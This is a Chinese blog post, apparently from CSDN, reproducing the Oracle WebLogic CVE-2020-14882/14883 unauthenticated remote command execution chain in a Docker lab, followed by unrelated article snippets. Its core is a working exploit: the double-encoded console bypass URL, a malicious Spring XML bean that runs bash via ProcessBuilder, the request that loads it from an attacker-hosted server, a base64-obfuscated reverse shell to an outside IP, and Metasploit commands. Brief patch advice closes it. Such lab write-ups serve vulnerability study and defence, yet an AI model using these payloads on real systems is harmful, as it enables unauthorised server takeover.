CVE-2020-14882、CVE-2020-14883 Weblogic 管理控制台未授权远程命令执行漏洞_exploit/cve-2020-14882-程序员宅基地

技术标签: 漏洞复现  

1 漏洞信息

漏洞名称 Weblogic 管理控制台未授权远程命令执行漏洞
漏洞编号 CVE-2020-14882、CVE-2020-14883
危害等级 高危
CVSS评分 10.0
漏洞类型 中间件漏洞
漏洞厂商 Oracle
漏洞组件 WebLogic
受影响版本 Oracle WeblogicServer 10.3.6.0.0
Oracle WeblogicServer 12.1.3.0.0
Oracle WeblogicServer 12.2.1.3.0
Oracle WeblogicServer 12.2.1.4.0
Oracle WeblogicServer 14.1.1.0.0
漏洞概述 CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

2 环境搭建

2.1 环境概述

  • Linux操作系统(Vuhub环境)

2.2 搭建过程

docker-compose up -d

{width=“5.759027777777778in”
height=“0.19375in”}

3 漏洞复现

访问漏洞URL:http://192.168.1.136:7001/console/login/LoginForm.jsp,发现需要登录。

{width=“5.763888888888889in”
height=“2.683333333333333in”}

然后访问CVE-2020-14882漏洞存在的未授权访问路径,发现成功,说明确实是存在未授权访问

URL:http://192.168.1.136:7001/console/css/%252e%252e%252fconsole.portal

{width=“5.759027777777778in”
height=“2.716666666666667in”}

我们需要构造一个XML文件,来原来实现远程代码执行漏洞CVE-2020-14883,并将其保存在Weblogic可以访问到的服务器上

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/success]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

{width=“5.758333333333334in”
height=“1.1756944444444444in”}

把恶意的xml文件所在的文件夹里开启使用python开启web服务

python -m http.server

{width=“4.525in”
height=“0.4166666666666667in”}

{width=“5.763194444444444in”
height=“2.011111111111111in”}

执行代码

http://192.168.1.136:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.1.1:8000/rce.xml")

{width=“5.761111111111111in”
height=“2.9430555555555555in”}

在容器内查看是否在/tmp目录下创建了success文件,发现确实是创建了

docker exec -i -t a8a30aa2cb4c(镜像的id) /bin/bash		#进入镜像内部
cd /tmp/
ls

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bMOvvsAV-1656855179548)(在这里插入图片描述]
){width=“5.759722222222222in”
height=“0.3972222222222222in”}

我们还可以将反弹shell的命令加入到xml文件中

bash -i >& /dev/tcp/192.168.1.129/2021 0>1		进行bash加密
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI5LzIwMjEgMD4x}|{base64,-d}|{bash,-i}
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI5LzIwMjEgMD4x}|{base64,-d}|{bash,-i}]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

{width=“5.758333333333334in”
height=“2.0194444444444444in”}

反弹成功,但是不知道为什么它自己执行exit退出

{width=“4.308333333333334in”
height=“0.975in”}

还可以使用msf的exploit/multi/http/weblogic_admin_handle_rce模块,但是这个模块返回的session会很多。

use exploit/multi/http/weblogic_admin_handle_rce
set rhost 192.168.1.136
set lhost 192.168.1.129
set target Linux Dropper
run

{width=“4.216666666666667in”
height=“0.6583333333333333in”}

{width=“5.761805555555555in”
height=“0.45902777777777776in”}

4 修复建议

1、安装Oracle官方补丁即可

2、暂时对外关闭后台 /console/console.portal 的访问权限。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_45715461/article/details/125566648

智能推荐

python中如何定义float_python数据类型int、float、str、list、dict、set定义及常用方法汇总...-程序员宅基地

文章浏览阅读2.5k次。数据类型int:记录整数事物状态可变不可变:值不可变类型,改变变量值实则是改变了变量的指向int():功能:1、工厂函数, i = 5 i = int(5)2、强制类型转换,i = int("5") ==> i= 5常用方法:int.bit_length() 返回int变量所占二进制位数数据类型float:用于记录浮点型事物状态,如身高,体重等带小数点的属性可变不可变:值不可变类型,改变变量值..._pythono f 定义

centos 7 查看oracle,Centos7下oracle配置(详细)-程序员宅基地

文章浏览阅读1.8k次。一、硬件配置centos7@vmware workstation 15 pro,分配资源:cpu:2颗,内存:4gb,硬盘空间:30gb二、软件准备linux.x64_11gr2_database_1of2.ziplinux.x64_11gr2_database_2of2.zipsecurecrt三、虚拟机的配置挂载镜像,配置本地yum源cd /mnt下创建cdrom文件:mkdir cdrom..._centos 7 system status oracle.service

CAN测试工具

此外,还有一些CAN测试相关的工具如CAN仿真器、CAN转换器、CAN监视器等,它们可以在不同的阶段和场景下用于测试CAN总线的性能和可靠性。硬件连接包括将CAN测试工具连接到要测试的CAN网络上,并使用USB线将测试工具连接到电脑上。除了基本的CAN测试工具外,还有一些高级工具如CANScope,它是一款综合性的CAN总线开发与测试的专业工具,可以对CAN网络通信正确性、可靠性、合理性进行多角度全方位的评估,并帮助用户快速定位故障节点,解决CAN总线应用的各种问题。

常见的跨域_跨域哪几个-程序员宅基地

文章浏览阅读201次。github源码_跨域哪几个

ES6之字符串扩展_es6字符串扩展-程序员宅基地

文章浏览阅读185次。在ES6中,为字符串扩展了几个新的API:includes() ,返回布尔值,表示是否找到了参数字符串。startsWith(),返回布尔值,表示参数字符串是否在原字符串的头部。endsWith(),返回布尔值,表示参数字符串是否在原字符串的尾部。示例如下:let str = "hello ES6";console.log(str,"中是否包含了ES6:",str.includes..._es6字符串扩展

随便推点

OPPO手机支持深度测试+免深度测试解锁BL+ROOT权限机型整理-2024年3月更新

绿厂OPPO手机线上线下卖的都很不错,目前市场份额十分巨大,用户自然也非常多,而近期ROM乐园后台受到很多关于OPPO手机的私信,咨询哪些机型支持解锁BL,ROOT刷机,今天ROM乐园正式盘点当前市场上可以解BL刷root的OPPO部分手机,给手持OPPO或者想要买OPPO手机又要root的用户,做1个参照。OPPO A系列机型:OPPO A3/A7X/A92S/A53/A93S/A95/A1X/A2/A2Pro/A2X/A2M。理论上你只要参加了深度测试申请,并且你的账号并没有什么异常行为,到了1个。

PyCharm注释中出现中文运行报错的解决办法_pycharm中python文件为中文时执行不了-程序员宅基地

文章浏览阅读1.6k次。PyCharm注释中出现中文运行报错的解决办法SyntaxError: Non-UTF-8 code starting with '…方法一:在文件首行加上    # -- coding:utf-8 --方法二:更改编码格式File  -->  Settings  -->  Editor  -->  File Encodings  全改为UTF-8就可以了路漫漫其修..._pycharm中python文件为中文时执行不了

C语言预定义宏(__LINE__、__DATE__等)浅析_预定义宏__line__-程序员宅基地

文章浏览阅读3.7k次,点赞2次,收藏9次。ANSIC标准定义了以下5种可供C语言使用的预定义宏: __LINE__ 在源代码中插入当前源代码行号 __FILE__ 在源代码中插入当前源代码文件名 __DATE__ 在源代码中插入当前编译日期〔注意和当前系统日期区别开来〕 __TIME__ 在源代码中插入当前编译时间〔注意和当前系统时间区别开来〕 __STDC__ 当要求程序严格遵循ANSIC标准时该标识符被赋值为1。 _预定义宏__line__

MySql连接出现1251错误的解决方法_csdnmysql数据库1251错误解决-程序员宅基地

文章浏览阅读6.4k次,点赞10次,收藏13次。MySql连接出现1251错误的解决方法首先第一步:首先找到mysql ,双击下面的程序第二步:进去之后输入自己安装mysql时的密码,回车(ENTER)第三步:输入以下代码:alter user root@localhost identified with mysql_native_password by ‘安装mysql时的密码’;第四步:输入以下代码:flush privi..._csdnmysql数据库1251错误解决

谈android系统分区表对rom的影响_android 分区修改风险-程序员宅基地

文章浏览阅读3.2k次。前沿:分区表,在android中似乎是一个神秘的东西,搜索了好长的时间,也没有找到相关的东西出来可以理解一番,众多的教程,都是教你如何去改分区表的,但是教程那么多,没有系统的说明其原理,只是说明了修改过程,如果在一个没有逻辑的基础上去修改这东西,其实是灭顶之灾了。啥?呵呵,其实是测试中的术语,就是设备坏了,需要维修了,没有专业工具和软件的人,还真的搞不定的故障。那么我们现在来谈下分区表对and_android 分区修改风险